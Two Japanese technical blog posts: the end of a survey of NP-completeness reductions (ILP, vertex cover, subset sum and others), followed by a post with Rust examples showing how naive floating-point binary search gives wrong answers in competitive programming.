$J = S \cap V$ とする。$J$ に含まれる頂点同士を結ぶ辺全体からなる集合を $E_J$ とする。すなわち、 $$ E_J = \bigl\{ \{u, v\} \in E \bigm| u\in J \wedge v\in J\bigr\} $$ とする。このとき、上記の寄与の表から $$ \begin{aligned} |\delta(S)| &\le |J| + 3\, |E_J| + 4\,|E\smallsetminus E_J| \\ &= |J| + 3\, |E_J| + 4\,|E| - 4\,|E_J| \\ &= |J| + 4\,|E| - |E_J| \end{aligned} $$ となる。前提より $|\delta(S)| \ge k+4\,|E|$ であるから $k+4\,|E| \le |J| + 4\,|E|-|E_J|$ であり、$|J| \ge k+|E_J|$ が従う。

Lemma: 任意のグラフ $G = (V, E)$ と非負整数 $k$ に対して、$G$ は少なくとも $\max{\{0, |V|-|E|\}}$ 個の連結成分を持つ。

Lemma: 任意のグラフ $G = (V, E)$ と非負整数 $k$ に対して、$|V| \ge k+|E|$ ならば $G$ は少なくとも $k$ 個の連結成分を持つ。

Lemma: 任意のグラフ $G$ と非負整数 $k$ に対して、$G$ が少なくとも $k$ 個の連結成分を持つならば、$G$ はサイズ $k$ の独立集合を持つ。

以上より $J$ はサイズ $k$ の独立集合を持つ。$\qed$

$\gdef\nae{\textsc{nae}}$

他にも、$\nae(x_0, \dots, x_{k-1}) = \lnot( (x_0\harr x_1) \wedge\dots\wedge (x_{k-2}\harr x_{k-1}) )$ で定義される NAE 演算 (not-all-equal) を用いて $$ \bigwedge_{j=0}^{k-1} {\nae(x_{l_{j, 0}}, x_{l_{j, 1}}, x_{l_{j, 2}})} $$ の形式で表される 3-NAE SAT から帰着することで示す方法もあるらしいです。3-CNF SAT → 4-NAE SAT → 3-NAE SAT → Max Cut と帰着できるらしいです。

Integer Linear Programming (ILP)

行列 $A = (a_{j, i})_{(j, i)\in\Lambda_m\times\Lambda_n}\in\Z^{m\times n}$ とベクトル $\bm b \in\Z^m$, $\bm c \in\Z^n$ が与えられます。これに対し、$A \bm x \le \bm b$ を満たす $\bm x \in\Z^n$ における $\bm c^{\top}\bm x$ の最大値を求めよという問題です。 ただし、$A\bm x\le \bm b$ は、各 $j\in\Lambda_m$ に対して $\bm a_j\bm x\le b_j$ として定義します。 なお、$A\bm x\le \bm b$ を満たす $\bm x$ が存在しない場合は $-\infty$、$\bm c^{\top}\bm x$ が有界でない場合は $+\infty$ を答えるとします。 整数計画問題 (integer linear programming) と呼ばれます。

決定問題版は、整数 $k$ も与えられて $\bm c^{\top}\bm x\ge k$ なる $\bm x$ が存在するか?です。

$$ \begin{aligned} &\phantom{{}\iff{}} x_i \in \{0, 1\} \\ &\iff (x_i\ge 0) \wedge (x_i\le 1) \\ &\iff ( (-1)\cdot x_i\le 0) \wedge (1\cdot x_i\le 1), \\ &\phantom{{}\iff{}} \sum_{i=0}^{n-1} a_i x_i = 1 \\ &\iff \left(\sum_{i=0}^{n-1} a_i x_i \le 1\right) \wedge \left(\sum_{i=0}^{n-1} a_i x_i \ge 1\right) \\ &\iff \left(\sum_{i=0}^{n-1} a_i x_i \le 1\right) \wedge \left(\sum_{i=0}^{n-1} {(-a_i) x_i} \le -1\right) \end{aligned} $$ より、ZOE の制約を表現できます。$\bm c^{\top}\bm x\ge 0$ あるいは $\bm c^{\top}\bm x\gt -\infty$ などとして判定すればよいです。

また、SAT からも自然に帰着できます。SAT の問題例を $$ \phi = \bigwedge_{j=0}^{m-1} \bigvee_{k=0}^{c_j-1} {(x_{l_{j, k}}\harr a_{j, k})} % {( (x_{l_{j, 0}}\harr a_{j, 0})\wedge(x_{l_{j, 1}}\harr a_{j, 1})\wedge(x_{l_{j, 2}}\harr a_{j, 2}) )} $$ とします。$2n$ 個の変数 $x_0, \dots, x_{2n-1}$ からなる ILP の問題例 $\theta$ を下記で定義すればよいです。$x_{n+i}$ が $\lnot x_i$ に相当しています。 $$ \theta = \left\{\;\begin{aligned} x_i &\ge 0 && (i\in\Lambda_{2n}), \\ x_i + x_{n+i} &= 1 && (i\in\Lambda_n), \\ \sum_{k=0}^{c_j-1} x_{(1-a_{j, k})n + l_{j, k}} &\ge 1 && (j\in\Lambda_m). \end{aligned}\right. $$

Minimum Vertex Cover

無向グラフ $G = (V, E)$ が与えられます。$S\subseteq V$ であって、任意の $\{u, v\}\in E$ に対して $u\in S$ または $v\in S$ を満たすものを 頂点被覆 (vertex cover) と呼びます。 要素数が最小となる頂点被覆(または要素数の最小値)を求めよという問題です。

決定問題版は、要素数 $k$ 以下の頂点被覆が存在するか?です。

Lemma 19: $S$ が $G$ の頂点被覆であるとき、$V\smallsetminus S$ は $G$ における独立集合となる。

Proof

$\bar S = V\smallsetminus S$ とする。頂点被覆の定義より、任意の $\{u, v\}\in E$ に対して $$ \begin{aligned} (u\in S) \vee (v\in S) &\iff (u\notin \bar S) \vee (v\notin \bar S) \\ &\iff \lnot ( (u\in \bar S) \wedge (v\in \bar S) ) \end{aligned} $$ が成り立つ。すなわち、$u, v\in \bar S$ かつ $\{u, v\}\in E$ なる $(u, v)\in V^2$ は存在しない。 よって、任意の $u, v\in\bar S$ に対して $\{u, v\}\notin E$ であるから、$\bar S$ は独立集合である。$\qed$

以上より、独立集合から帰着できます。

Minimum Set Cover

集合 $S$ と、その部分集合族 $\mathscr S\subseteq 2^S$ が与えられます。 部分集合族 $\mathscr T\subseteq \mathscr S$ であって、以下の条件を満たすものを 集合被覆 (set cover) と呼びます。 $$ \bigcup_{T\in \mathscr T} T = S. $$ 最小の要素数の $\mathscr T$ を求めよという問題です。決定問題版はいつものように定義できます。

Vertex Cover を部分問題として持ちます。 $S = E$ とし、 $$ \begin{aligned} S_v &= \{e\in E \mid v\in e\}, \\ \mathscr S &= \{ S_v \mid v\in V\} \end{aligned} $$ として帰着できます。

Exact Cover

Set Cover の問題設定において、各 $T_i, T_j \in \mathscr T$ について $T_i \ne T_j$ ならば $T_i\cap T_j = \emptyset$ を満たすものが存在するか?という問題です。

ZOE から帰着できます。サイズ $k$ の exact Cover があってもサイズ $k\pm 1$ の exact cover についてはなんとも言えないので、Minimum Exact Cover とか Maximum Exact Cover とかはもっと難しい気がします。ほんとかな? 最小・最大の問題設定が言及されているの自体あまり見かけませんでした。

Hamiltonian Path

Hamiltonian Cycle の問題設定から $(v_{n-1}, v_0)\in E$ の条件を除いたものです。有向版と無向版をそれぞれ定義できます。

有向版は Hamiltonian Cycle と同様にして 3-SAT から帰着できます。無向版は有向版から帰着できます。

Longest Path

グラフ $G = (V, E)$ が与えられ、パスの長さの最大値を求める問題です。 決定問題版は、長さ $k$ 以上のパスが存在するか?です。

$k = |V|-1$ として、Hamiltonian Path から帰着できます。

Maximum Clique

無向グラフ $G = (V, E)$ が与えられます。$S\subseteq V$ であって、任意の $u, v \in S$ ($u\ne v$) について $\{u, v\}\in E$ を満たすものを クリーク (clique) と呼びます。 要素数が最大となるクリーク(あるいは要素数の最大値)を求めよという問題です。

決定問題版は、$|S| \ge k$ なるクリークが存在するか?を判定します。 $$\bar E = \bigl\{\{u, v\}\bigm| (u, v)\in V^2\bigr\} \smallsetminus E$$ として、グラフ $(V, \bar E)$ においてサイズ $k$ の独立集合が存在することと同値です。

Minimum Dominating Set

無向グラフ $G = (V, E)$ が与えられます。$S\subseteq V$ であって、任意の $v\in V\smallsetminus S$ に対して、ある $u\in S$ が存在して $\{u, v\}\in E$ が成り立つものを 支配集合 (dominating set) と呼びます。要素数が最小となる支配集合(または要素数の最小値)を求めよという問題です。

決定問題版は、要素数 $k$ 以下の支配集合が存在するか?です。

Set Cover から帰着できます。

Subset Sum Problem

長さ $n$ の整数列 $A = (a_0, \dots, a_{n-1})$ と整数 $k$ が与えられます。添字 $I\subseteq\Lambda_n$ であって、$\sum_{i\in I} a_i = k$ なる $I$ が存在するか?という問題です。部分和問題 (subset sum problem) と呼ばれます。

Claim 20: Subset Sum Problem は 3-SAT から帰着できる。

Reduction + Sketch

3-SAT の問題例を $$ \phi = \bigwedge_{j=0}^{m-1} \bigvee_{k=0}^2 {(x_{l_{j, k}} \harr a_{j, k})} $$ とする。ここで $(l_{j, k}, a_{j, k})\in\Lambda_n\times\{0, 1\}$ とする。 また、 $$ \begin{aligned} S_{i, 0} &= \bigl\{ j\in\Lambda_m \bigm| (i, 0)\in \{(l_{j, k}, a_{j, k}) \mid k\in\Lambda_3 \} \bigr\}, \\ S_{i, 1} &= \bigl\{ j\in\Lambda_m \bigm| (i, 1)\in \{(l_{j, k}, a_{j, k}) \mid k\in\Lambda_3 \} \bigr\} \end{aligned} $$ とする。直感的には、$S_{i, 0}$ は $\lnot x_i$ が含まれる節の番号全体からなる集合、$S_{i, 1}$ は $x_i$ が含まれる節の番号全体からなる集合に対応する。

各 $i\in\Lambda_n$ に対し $$ \begin{aligned} b_{2i+0} &= 10^{m+n-1+i} + \sum_{j\in S_{i, 0}} 10^{m-1+j}, \\ b_{2i+1} &= 10^{m+n-1+i} + \sum_{j\in S_{i, 1}} 10^{m-1+j} \end{aligned} $$ とし、また各 $j\in\Lambda_m$ に対し $$ b_{2n+2j+0} = b_{2n+2j+1} = 10^{m-1+j} $$ とする。また、 $$ \begin{aligned} z &= 10^m\cdot\sum_{i=0}^{n-1} 10^i + \sum_{j=0}^{m-1} 3\cdot 10^j \\ &= 10^m\cdot\frac{10^n-1}9 + \frac{10^m-1}3 \\ &= \underbrace{11\dots1}_{n}\, \underbrace{33\cdots 3}_{m} \end{aligned} $$ とする。

$B = (b_0, \dots, b_{2n+2m})$ として、$\theta = (B, z)$ における部分和問題の解の存在性が $\phi$ の充足可能性と同値となる。

($\implies$): $2i+0\in I$ のとき $x_i = 0$、$2i+1\in I$ のとき $x_i = 1$ とすればよい。

($\impliedby$): 各 $i$ に対して $x_i = 0$ のときは $2i+0\in I$、$x_i = 1$ のときは $2i+1\in I$ とする。また、$i\ge 2n$ については(桁ごとに独立に決められるため)適切に定めればよい。 $\eod$

$$ \phi = (x_0\vee x_1\vee\lnot x_2)\wedge(\lnot x_1\vee x_2\vee x_3)\wedge(\lnot x_0\vee x_1\vee\lnot x_3) $$ とすると、 $$ \begin{aligned} b_0 &= 1000001, \\ b_1 &= 1000100, \\ b_2 &= 0100010, \\ b_3 &= 0100101, \\ b_4 &= 0010100, \\ b_5 &= 0010010, \\ b_6 &= 0001001, \\ b_7 &= 0001010, \\ b_8 &= 0000100, \\ b_9 &= 0000100, \\ b_{10} &= 0000010, \\ b_{11} &= 0000010, \\ b_{12} &= 0000001, \\ b_{13} &= 0000001, \\ z &= 1111333 \end{aligned} $$ となる。たとえば $I = \{1, 2, 5, 6, 8, 9, 10, 12, 13\}$ とすることで $\sum_{j\in I} b_j = z$ とできる。 $$ \begin{aligned} \gdef\zero{\textcolor{#CCC}{0}} \gdef\one{\textcolor{#D3381C}{1}} b_1 &= \one\zero\zero\zero\one\zero\zero, \\ b_2 &= \zero\one\zero\zero\zero\one\zero, \\ b_5 &= \zero\zero\one\zero\zero\one\zero, \\ b_6 &= \zero\zero\zero\one\zero\zero\one, \\ b_8 &= \zero\zero\zero\zero\one\zero\zero, \\ b_9 &= \zero\zero\zero\zero\one\zero\zero, \\ b_{10} &= \zero\zero\zero\zero\zero\one\zero, \\ b_{12} &= \zero\zero\zero\zero\zero\zero\one, \\ b_{13} &= \zero\zero\zero\zero\zero\zero\one. \end{aligned} $$ これは $\bm x = (1, 0, 1, 0)$ に対応する。$\eod$

Knapsack Problem

長さ $n$ の整数列 $A = (a_0, \dots, a_{n-1})$, $B = (b_0, \dots, b_{n-1})$ と整数 $k_A$, $k_B$ が与えられます。添字 $I\subseteq\Lambda_n$ であって、$\sum_{i\in I} a_i \le k_A$ かつ $\sum_{i\in I} b_i \ge k_B$ なる $I$ が存在するか?という問題です。

各 $i\in\Lambda_n$ について $a_i = b_i$ とし、また $k_A = k_B = k$ とすることにより、部分和問題から帰着できます。

おまけ

TM からの帰着

ZOE の検証器の TM を考えます。入力として $$ \texttt{\char40}a_{0, 0}\dots a_{0, n-1}\texttt{;}\dots\texttt{;}a_{m-1, 0}\dots a_{m-1, n-1}\texttt{\char41}x_0\dots x_{n-1} $$ を与えると、$A\bm x=\bm1$ のときに受理し、そうでないときに拒否します。ここでは、入力形式が不正な場合についてはあまり考えていません。

ZOE の検証器の TM

大まかな挙動は次のようなものに相当します。

  • 各 $j$ に対して下記を行う
    • 各 $i$ に対して下記を行う
      • $a_{j, i}$ と $x_i$ を比較する
      • $a_{j, i} \wedge x_i = 1$ ならば下記を行う
        • すでに $a_{j, i'} \wedge x_{i'} = 1$ なる $i'\lt i$ を見つけているなら拒否する
    • $a_{j, i} \wedge x_i = 1$ なる $i$ が見つからなければ拒否する
  • 受理する

$i$ や $j$ を値として持っておいても使いにくいため、「ここまでは見たよ〜」というマークをつけるような動きにしています。 $a_{j, i} \wedge x_i = 1$ なる $i$ を見つけたかどうかは、TM の状態として保持しています。

$\textstyle\left(\begin{smallmatrix}1&0\\0&1\end{smallmatrix}\right)\left(\begin{smallmatrix}1\\1\end{smallmatrix}\right)$ に対する動作

これを SAT に帰着させることを考えます。もちろん、ZOE を SAT に帰着させたいだけならもっと自然な方針がありますが、ここでは TM から帰着する例として行います。

境界条件の扱いなどで、Claim 1 で挙げた構成とは個数が必ずしも一致しませんが、下記のツイート群はそういうものでした。

ZOE の入力として $A = \left(\begin{smallmatrix}1&0\\0&1\end{smallmatrix}\right)$ を与えるのは、$\angled{A} = \texttt{\char40}\texttt{10;01}\texttt{\char41}$ として $$ \begin{aligned} x_{0, 0, \texttt{\char40}}^{\text{symbol}} &= 1, & x_{0, 1, \texttt{1}}^{\text{symbol}} &= 1, & x_{0, 2, \texttt{0}}^{\text{symbol}} &= 1, & x_{0, 3, \texttt{;}}^{\text{symbol}} &= 1, \\ x_{0, 4, \texttt{0}}^{\text{symbol}} &= 1, & x_{0, 5, \texttt{1}}^{\text{symbol}} &= 1, & x_{0, 6, \texttt{\char41}}^{\text{symbol}} &= 1 \end{aligned} $$ に相当し、Claim 1 で示したように適切な変数・節を用いて SAT を解くことで、 $$ \begin{aligned} x_{0, 7, \texttt{1}}^{\text{symbol}} &= 1, & x_{0, 8, \texttt{1}}^{\text{symbol}} &= 1, & x_{0, 9, \blank}^{\text{symbol}} &= 1 \end{aligned} $$ が得られます。これにより、上記の検証器が $\texttt{\char40}\texttt{10;01\char41}\texttt{11}$ を受理することがわかります。 すなわち、$\bm x=(1\; 1)$ がこの ZOE の certificate になることがわかります。

こうして、任意の $P = (I, O, \sigma)\in\NP$ に対して $\phi\in I$ が与えられたとき、$P$ に対する検証器 $D$ と $\phi$ を用いて SAT の問題例 $\theta$ を構成し、$\phi\in P_{\Yes}$ かどうかを判定できます。

$D$ は $\phi$ が与えられる前に固定されているものなので、$\angled{\phi}$ が長くなっても(計算ステップ数の意味で)気にすることはありません。 $D$ の状態の個数や遷移関数の定義域の要素数は $|\angled{\phi}|$ に対して定数ということです。 よって、SAT のうち $D$ の状態遷移などに関わる部分は $|\angled{\phi}|^{O(1)}$ 個程度になります。 どれだけ $D$ が複雑だったとしても(いわゆる)定数倍が大きくなるだけで、知ったことではないですね。

あとがき

有名問題であるところの Steiner Tree や Bin Packing などをやっていません。他にもいろいろあると思います。 また、計算モデルとして、RAM や NTM なども触れていませんし、テープが複数本ある TM の話もしていません。 そういえば 神託機械 (oracle machine) という概念もあります。

複雑性クラスにおいても、たとえば #P (number P) とか ⊕P (parity P) のようなものや、L とか PSPACE とか、他にもなんかいろいろなものがあるよ〜という話もあります。 strong NP-completeness の話とか、強多項式時間とか擬多項式時間とか、そういう話もありました。

そういえば、Complexity Zoo というものがあります。

complexityzoo.net

最近の 3Blue1Brown の動画で見覚えのあった人が zookeeper らしいです。

youtu.be

それから、久々に TikZ でいろいろおえかきをしました。ようやく \foreach をちゃんと使うようになったり、pgf にも興味を持ったりしました。

しかし、疲れたり飽きたりしてしまったので、一旦はここまでということにしちゃいます。各々が調べてくれたらうれしいです。

知らないまま生きているがお勉強したいとは思っていることリストを消化していきたいです。 今回のトピックもその一つでした。浮動小数点数まわりはある程度なかよしになってきた気がします。乱数生成や暗号関連のトピックが気になり中です。正確には数ヶ月前の気になりトピックで最近は下火です。CTF の crypto をやれという話もあります。えびちゃん的には pwn や rev も好きなんだろうと思いますが、これも最近あまりできていませんね。

参考文献

CS103 のスライドや、岡本先生のスライドがおすすめだと思います。

おわり

おわってしまう。

*1:「その元問題から帰着した問題は該当の NP-complete の問題の特殊なケースになり、その場合は実は高速に解けます」とか、そういう状況もあるかもしれません。

*2:ここでは、$i\lt 0$ になっても拒否することにします。

*3:$\{i, j\}\in E$ の部分が well-defined ではない気がします。$i\le j$ などを仮定することによりよしなに定めるとします。 気がしましたが気のせいでした。

*4:グラフの符号化というよりは、一般の 0/1 正方行列を整数として符号化する方式の話な気もします。正方とは限らない場合は $2^n 3^m \prod 5^{a_{i, j}\cdot(im+j)}$ みたいな感じでしょうか。

*5:定訳があるかはよくわかりませんでした。

*6:この $P$ は問題のことで、いわゆる $\P\ne\NP$ とかの $\P$ ではありません。

*7:非形式的な説明はよく言われがちですが、等価性はそこまで当たり前じゃない気がします。この記事では一旦 fact として扱い、今後の記事で別途考えます。

*8:充足可能という言い回し自体は、論理式全体に限らず、節に対して使うこともあります。

*9:高々 $3$ つとする問題設定もあります。後々 3-SAT から帰着することを考えると、3-SAT の形式が限定的である方が都合がよさそうなので、ちょうど $3$ つの方がうれしそうかも。

*10:$c(I_0) = c(\top)$ のとき、論理変数 $I_0$ が $\top$ であるというようなイメージで話しています。

*11:Independent Set の章で出した例とは異なるように選びました。

*12:実際には辞書順でなくとも適当な全順序を固定すればよさそう。

浮動小数点型で素朴に二分探索をして大丈夫?

浮動小数点型の二分探索についてはいろいろと議論があります。

背景

下記のような形式の問題を考えます。

実数に関する述語 $P\colon \R\to\{0, 1\}$ と $x_L, x_R\in\R$ が与えられる。

ある $x^{\ast}\in[x_L\lldot x_R]$ が存在し、任意の $x\in[x_L\lldot x_R]$ に対して $P(x) = 1 \iff x\le x^{\ast}$ が成り立つことが知られているため、その $x^{\ast}$ を求めよ。

ただし、$x^{\ast}$ との絶対誤差または相対誤差が $10^{-9}$ 以下である値を出力すれば正答と見なす。 また、$x_R-x_L \le 10^{18}$ とする。

無邪気な競プロ er*1は、浮動小数点型を用いて、次のような二分探索を実装しがちです。 言語による差異は特にないですが、今回は Rust で書いてみます。

fn float_bisect_1(mut xl: f64, mut xr: f64, p: impl Fn(f64) -> bool) -> f64 {
    while xr - xl >= 1.0e-9 {
        let xm = 0.5 * (xl + xr);
        *(if p(xm) { &mut xl } else { &mut xr }) = xm;
    }
    xl
}

たとえば $(x_L, x_R) = (0, 10)$ かつ $P(x) = 1 \iff x^2\le 3$ であれば

float_bisect_1(0.0, 10.0, |x| x * x <= 3.0)

1.732050807331688702106475830078125 となり、$\sqrt3$ に近くてよさそうな見た目をしています。しかし、次のような例ではうまくいきません。

float_bisect_1(0.0, 2.0e7, |x| x * x <= 1.0e14)

二分探索の過程で (xl, xr) = (10000000.0, 10000000.00000000186264514923095703125) となったとき、丸め誤差の関係で 0.5 * (xl + xr) == xl となってしまいます。 すなわち xm == xl となるため、結果として無限ループになってしまいます*2

蟻本の時代からある定跡としては、定数回のループを行うことで無限ループを避けるというものです。$x_R-x_L = 10^{18}$ と許容誤差の $10^{-9}$ を考慮して、$\log_2(10^{18}\cdot 10^9) \lt 90$ 回程度の更新で十分そうです。

fn float_bisect_2(mut xl: f64, mut xr: f64, p: impl Fn(f64) -> bool) -> f64 {
    for _ in 0..90 {
        let xm = 0.5 * (xl + xr);
        *(if p(xm) { &mut xl } else { &mut xr }) = xm;
    }
    xl
}

こちらは次のようにして期待通りの結果が得られます。

float_bisect_2(0.0, 10.0, |x| x * x <= 3.0)
// 1.732050807568877193176604123436845839023590087890625
float_bisect_2(0.0, 2.0e7, |x| x * x <= 1.0e14)
// 10000000.0

ではこれでめでたしめでたしでしょうか?というのが今回つっつく重箱の隅です。

ここまでの方法においては、停止性についてしか議論しておらず、部分正当性についての議論をしていません。 すなわち、ループが終了したときに得られる値が $x^{\ast}$ と十分に近いことが言えていません。 特に、浮動小数点型で実装した p が $P(x) = 1 \iff x\le x^{\ast}$ の性質を持っていることを暗に仮定してしまいがちです。

本題

安易にやるとだめになってしまうケースを考えていきます。

単純な撃墜ケース

まずは単純なところからです。 $(x_L, x_R) = (1, 1600)$ かつ $$ P(x) = 1 \iff \bigl(x\le 1000\bigr) \wedge \left(\tfrac1x\cdot x\ge 1\right) $$ とします。あからさまな悪意がむんむんです。これは単に $x\le 1000$ と同値ですが、特に式変形などをせずにそのまま実装すると次のようになります。

let p = |x| x <= 1000.0 && 1.0 / x * x >= 1.0;
float_bisect_2(1.0, 1600.0, p);
// 775.5155233629557187668979167938232421875

( ゚д゚)ポカーン

// 775.5155233629557187668979167938232421875

(つд⊂)ゴシゴシ

775.5155233629557187668979167938232421875

これはだめですね。

f64 においては

1.0 / 800.5 * 800.5 == 0.99999999999999988897769753748434595763683319091796875

が成り立つのが重要ポイントです。二分探索の過程で調べることになった他のいくつかの値についても、同様に 1.0 / x * x < 1.0 が成り立ちました。 浮動小数点型の撃墜ケースを作る際には、$x/x$ や $x-x$ のような「本来であれば打ち消し合う項」が狙い目のひとつです。

それっぽい例

単純な例(悪意があからさますぎて実践では出てこなさそうな例)はできたので、あとはカモフラージュするだけです。

1.0 / 49.0 * 49.0 も上記と同じ値になる*3ことを踏まえて、次のような問題を考えてみましょう。 多少無理があるかもしれませんが許してもらいます。

多項式 $p(x)$, $q(x)$, $r(x)$, $s(x)$ が与えられる。 $\frac{p(x)}{q(x)}\cdot r(x)\ge s(x)$ なる $x$ の最大値 $x^{\ast}$ を求めよ。

ただし、$x^{\ast}$ との絶対誤差または相対誤差が $10^{-9}$ 以下であれば正答と見なす。

制約

  • $p$, $q$, $r$, $s$ は高々 $3$ 次式で、係数の絶対値は $300$ 以下の整数である。
  • $0\le x^{\ast}\le 4$ が成り立つ。
  • $x\le x^{\ast}$ ならば $\frac{p(x)}{q(x)}\cdot r(x)\ge s(x)$ が成り立つ。

そして、次の入力を考えます。 $$ \begin{aligned} p(x) &= 2x^2-5x+4, \\ q(x) &= 49x^2-98x+98, \\ r(x) &= 147x^2-294x+196, \\ s(x) &= 4x^3-12x^2+11x-2. \end{aligned} $$

さて、これらの多項式について次が成り立ちます。

$x$ $p(x)$ $q(x)$ $r(x)$ $s(x)$
$1$ $1$ $49$ $49$ $1$
$2$ $2$ $98$ $196$ $4$

そのため、f64 で計算すると次のようになります。

let p = |x| (2.0 * x - 5.0) * x + 4.0;
let q = |x| (49.0 * x - 98.0) * x + 98.0;
let r = |x| (147.0 * x - 294.0) * x + 196.0;
let s = |x| ((4.0 * x - 12.0) * x + 11.0) * x - 2.0;
(p(1.0) / q(1.0) * r(1.0), s(1.0))
// (0.99999999999999988897769753748434595763683319091796875, 1.0)
(p(2.0) / q(2.0) * r(2.0), s(2.0))
// (3.999999999999999555910790149937383830547332763671875, 4.0)

そのため、$[0\lldot 4]$ の範囲で二分探索を開始すると、$x^{\ast}\le 1$ だと思い込んでしまうことになります。 さて、これは正しいでしょうか?

上記の入力に対応するグラフ

あらあら、正しくなさそうです。 $$ \begin{aligned} &\phantom{{}={}} \frac{p(x)}{q(x)}\cdot r(x)-s(x) \\ &= \frac{2x^2-5x+4}{49x^2-98x+98} \cdot (147x^2-294x+196) - (4x^3-12x^2+11x-2) \\ &= \frac{-2(x-2)(x-1)^2\, (2x^2-5x+5)}{x^2-2x+2} \end{aligned} $$ であり、$2x^2-5x+5=0$ は実数解を持たないことに注意すると、赤実線と黒破線の共有点は $x=1$ と $x=2$ のみであることがわかります。分母が常に正であることにも気をつけておくといいかも。

ということで、実際には $x^{\ast} = 2$ です。1.02.0 のとき以外にも計算誤差の影響により、大小比較の結果が実数での比較とは異なることが数回あり、最終的には次の値が返ってきました。

let p = |x| (2.0 * x - 5.0) * x + 4.0;
let q = |x| (49.0 * x - 98.0) * x + 98.0;
let r = |x| (147.0 * x - 294.0) * x + 196.0;
let s = |x| ((4.0 * x - 12.0) * x + 11.0) * x - 2.0;
let x = float_bisect_2(0.0, 4.0, |x| p(x) / q(x) * r(x) >= s(x));

float_bisect_2(0.0, 4.0, |x| p(x) / q(x) * r(x) >= s(x))
// 0.999999999999999555910790149937383830547332763671875

多項式の計算のところで Horner’s scheme を使わずに次のようにした場合も、同種の誤差でさらに離れた値が返ってきました。

let p = |x| 2.0 * x * x - 5.0 * x + 4.0;
let q = |x| 49.0 * x * x - 98.0 * x + 98.0;
let r = |x| 147.0 * x * x - 294.0 * x + 196.0;
let s = |x| 4.0 * x * x * x - 12.0 * x * x + 11.0 * x - 2.0;

float_bisect_2(0.0, 4.0, |x| p(x) / q(x) * r(x) >= s(x))
// 0.9999999999999993338661852249060757458209991455078125

note: 次の入力の場合、$1-6.02\cdot 10^{-9}$ 程度の値が返ってきました。すなわち、$1$ との誤差ですら $10^{-9}$ より大きいです。$q(x) = 49p(x)$ でつまらないかも? 探せばもっといろいろありそうです。 $$ \begin{aligned} p(x) &= 2x^2-5x+4, \\ q(x) &= 98x^2-245x+196, \\ r(x) &= 98x^2-147x+98, \\ s(x) &= 2x^3-6x^2+7x-2. \end{aligned} $$

他の例

区分線形関数などもよい例かもしれません。たとえば $$ f(x) = \begin{cases} \tfrac{3}{187}(x-13) - 2, & \text{if}\; x\le 200, \\ \tfrac{3}{187}(200-13) - 2, & \text{if}\; 200 \le x\le 250, \\ \tfrac{2}{187}(x-250) + 1, & \text{if}\; x\ge 250 \\ \end{cases} $$ として、$f(x) \le 1$ なる $x$ の最大値を求めてみましょう。範囲は $[0\lldot 400]$ としてみます。

let f = |x| {
    if x <= 200.0 {
        3.0 / 187.0 * (x - 13.0) - 2.0
    } else if x <= 250.0 {
        3.0 / 187.0 * (200.0 - 13.0) - 2.0
    } else {
        2.0 / 187.0 * (x - 250.0) + 1.0
    }
};
float_bisect_2(0.0, 400.0, |x| f(x) <= 1.0);
// 199.999999999999971578290569595992565155029296875
3.0 / 187.0 * 187.0 == 3.000000000000000444089209850062616169452667236328125

が成り立つことなどから変な感じになっていき、$200$ より少し小さい値を出力してしまいます。

なにかの部分問題として「こういう区分線形関数を考えて、それがこの値以下である範囲を求めればよいですね〜」となったときに、油断してやらかしてしまいそうな気配を感じます。

まとめ

二分探索を行う際の決定問題パートを素朴にやると失敗してしまう例を挙げました。 二分探索が悪いというよりは、決定問題への帰着を素朴に未証明でやるのが悪いという話ではあります。

単純な例では(いわゆる)eps を足し引きする手法が使えるかもしれませんが、それを行う場合でも正当性の証明はきちんとやる必要があるでしょう。

コンテスタント目線では AC するまで適当にがちゃがちゃやる手法が一応可能ではありますが、作問者側が気づかずに踏んでしまうと大変なことになってしまいそうです。 よくある「想定解との誤差が何々以下のとき AC とします」でわくわくしそうなやつですね。

259-momone.hatenablog.com

おまけ

f64 は 64-bit なので、述語の判定を 64 回程度で済ませられるのでは?というトピックもあります。

rsk0315.hatenablog.com

判定の際にどの値を使うかを決めるパートが異なるだけで、今回の問題と同様の部分に気をつける必要があります。

あとがき

こうした部分に触れられることってあまりないなというのは昔から思っていましたが、1.0 / x * x >= 1.0 のような単純なものしか考えたことがなかったので、今回改めて考えてみました。

Rump の例題もそうですが(そうだと思っていますが)、本質パートを考えたらあとはそれっぽくカモフラージュしていくパートになり、そこが楽しかったり大変だったりしますね。

気づいたらまた浮動小数点型の記事を書いており、えびちゃんはもしかして浮動小数点型が好きなのですか?

おわり

おわりです。

*1:というか、より一般に人々?

*2:コンパイラの都合で無限ループは未定義動作になるとか、その手の話は今回は割愛します。

*3:親の顔より見た $49$。